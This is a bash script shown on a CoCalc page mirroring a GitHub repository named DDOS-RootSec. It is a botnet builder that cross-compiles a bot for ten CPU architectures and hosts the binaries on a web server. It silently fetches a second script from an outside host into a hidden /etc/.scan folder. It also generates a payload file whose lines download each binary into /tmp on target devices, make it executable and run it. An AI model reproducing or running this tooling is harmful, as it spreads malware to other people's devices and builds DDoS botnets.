Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA_2_20_16.ae32d7.sh
5038 views
1
#!/bin/bash
2
echo '\x1b[1;35m'########################################################
3
echo ' \r\n'#
4
echo '# # ##### # \r\n'#
5
echo '## # # # # # \r\n'#
6
echo '# # # # # # \r\n'#
7
echo '# # # ##### # # \r\n'#
8
echo '# # # # ####### \r\n'#
9
echo '# ## # # # # \r\n'#
10
echo '# # ##### # # \r\n'#
11
echo '\x1b[0m'###########################################################
12
13
#########################################
14
###############Made date#################
15
#########################################
16
#53 68 65 6e 72 6f 6e 20 69 73 20 77 61 74 63 68 69 6e 67 20 79 6f 75 20 2d 20 4e 53 41
17
echo -e "\e[0;31mMade by ShAy ; [email protected]\x1b[0m"
18
echo -e "\e[0;31mThis version was made on 2/20/2016"
19
echo -e "\e[0;31mIf you should at any point want to scan using LRAB, check in /etc/.scan and run it"
20
echo "Usage: $0 if not executed like this, it will not fucking work."
21
echo -e "\e[0;31myou have 5 seconds to cancel this if you fucked up"
22
sleep 5
23
24
#########################################
25
###############NSA2##################
26
#########################################
27
NSA2='http://b.1339.cf/xulaihn.sh' #NSA2
28
#########################################
29
###############Botnames##################
30
#########################################
31
L1='jackmymipsel' #mipsel
32
L2='jackmymips' #mips
33
L3='jackmysh4' #sh4
34
L4='jackmyx86' #x86_64
35
L5='jackmyarmv6' #armv6l
36
L6='jackmyi686' #i686
37
L7='jackmypowerpc' #powerpc
38
L8='jackmyi586' #i586
39
L9='jackmym68k' #m68k
40
L10='jackmysparc' #sparc
41
42
#########################################
43
##############Wgetlinks##################
44
#########################################
45
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
46
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
47
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
48
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
49
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
50
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
51
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
52
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
53
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
54
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
55
mkdir /var/www
56
mkdir /var/www/html
57
#########################################
58
################MISC#####################
59
#########################################
60
mkdir /etc/.scan
61
cd /etc/.scan
62
wget --quiet $NSA2 -O NSA2.sh
63
cd /root
64
apt-get install tar -q
65
yum install tar -y -q
66
yum install bzip -y || yum install bzip2 -y
67
apt-get install bzip -y || apt-get install bzip2 -y
68
apt-get install curl
69
#########################################
70
################WGETS#################
71
#########################################
72
echo "\e[0;31mWgetting cross-compilers be paitent."
73
if [ -d cross-compiler-mips ]
74
then
75
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
76
else
77
wget --quiet $mips --no-check-certificate
78
tar -xvjf cross-compiler-mips*
79
fi
80
if [ -d cross-compiler-mipsel ]
81
then
82
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
83
else
84
wget --quiet $mipsel --no-check-certificate
85
tar -xvjf cross-compiler-mipsel*
86
fi
87
if [ -d cross-compiler-sh4 ]
88
then
89
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
90
else
91
wget --quiet $sh4 --no-check-certificate
92
tar -xvjf cross-compiler-sh4*
93
fi
94
if [ -d cross-compiler-x86_64 ]
95
then
96
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
97
else
98
wget --quiet $x86_64 --no-check-certificate
99
tar -xvjf cross-compiler-x86_64*
100
fi
101
if [ -d cross-compiler-armv6l ]
102
then
103
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
104
else
105
wget --quiet $armv6l --no-check-certificate
106
tar -xvjf cross-compiler-armv6l*
107
fi
108
if [ -d cross-compiler-powerpc ]
109
then
110
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
111
else
112
wget --quiet $ppc --no-check-certificate
113
tar -xvjf cross-compiler-powerpc*
114
fi
115
if [ -d cross-compiler-m68k ]
116
then
117
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
118
else
119
wget --quiet $m68k --no-check-certificate
120
tar -xvjf cross-compiler-m68k*
121
fi
122
if [ -d cross-compiler-sparc ]
123
then
124
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
125
else
126
wget --quiet $sparc --no-check-certificate
127
tar -xvjf cross-compiler-sparc*
128
fi
129
if [ -d cross-compiler-i586 ]
130
then
131
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
132
else
133
wget --quiet $i586 --no-check-certificate
134
tar -xvjf cross-compiler-i586*
135
fi
136
if [ -d cross-compiler-i686 ]
137
then
138
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
139
else
140
wget --quiet $i686 --no-check-certificate
141
tar -xvjf cross-compiler-i686*
142
fi
143
rm -rf *.tar.bz2
144
echo -e "\e[0;31mDone."
145
sleep 3
146
147
#########################################
148
##############Compiling##################
149
#########################################
150
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
151
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
152
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
153
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
154
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
155
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
156
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
157
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
158
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
159
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
160
echo -e "\e[0;31mDone compiling binarys, stripped and bytes reduced."
161
sleep 2
162
mv jackmy* /var/www/html/
163
cp /var/www/html/jackmy* /usr/share/nginx/www #WOW FUCKING NGINX! DON'T BE A FUCK AS TO HOW I'M DOING THIS.
164
165
######################################
166
##############/'d'####################
167
######################################
168
echo -e "\e[0;31mIf you do not have apache/a webserver setup, cancel this and install it, stop being LAZY"
169
echo -e "\e[0;31mThis was removed because it's annoying to install it through bash, do it yourself."
170
171
#########################################
172
#########Setting up fucks.sh###########
173
#########################################
174
echo -e "\e[0;31mTouching fucks.sh"
175
rm -rf fucks.sh
176
cd /var/www/html/; touch fucks.sh
177
echo -e "\e[0;31mCreating Payload now."
178
echo -e "\e[0;31mThis will take a few, be patient.."
179
sleep 2
180
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> fucks.sh
181
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> fucks.sh
182
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> fucks.sh
183
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> fucks.sh
184
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> fucks.sh
185
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> fucks.sh
186
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> fucks.sh
187
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> fucks.sh
188
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> fucks.sh
189
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> fucks.sh
190
#########################################
191
###############ULIMIT#####################
192
#########################################
193
cd /root
194
ulimit -u 999999;ulimit -n 999999
195
echo "#.bashrc">> .bashrc
196
echo "#ulimit set">> .bashrc
197
echo "ulimit -u 999999">> .bashrc
198
echo "ulimit -n 999999">> .bashrc
199
bash
200
201
######################################
202
###########WOW FUCKING ILLEGAL########
203
######################################
204
205
206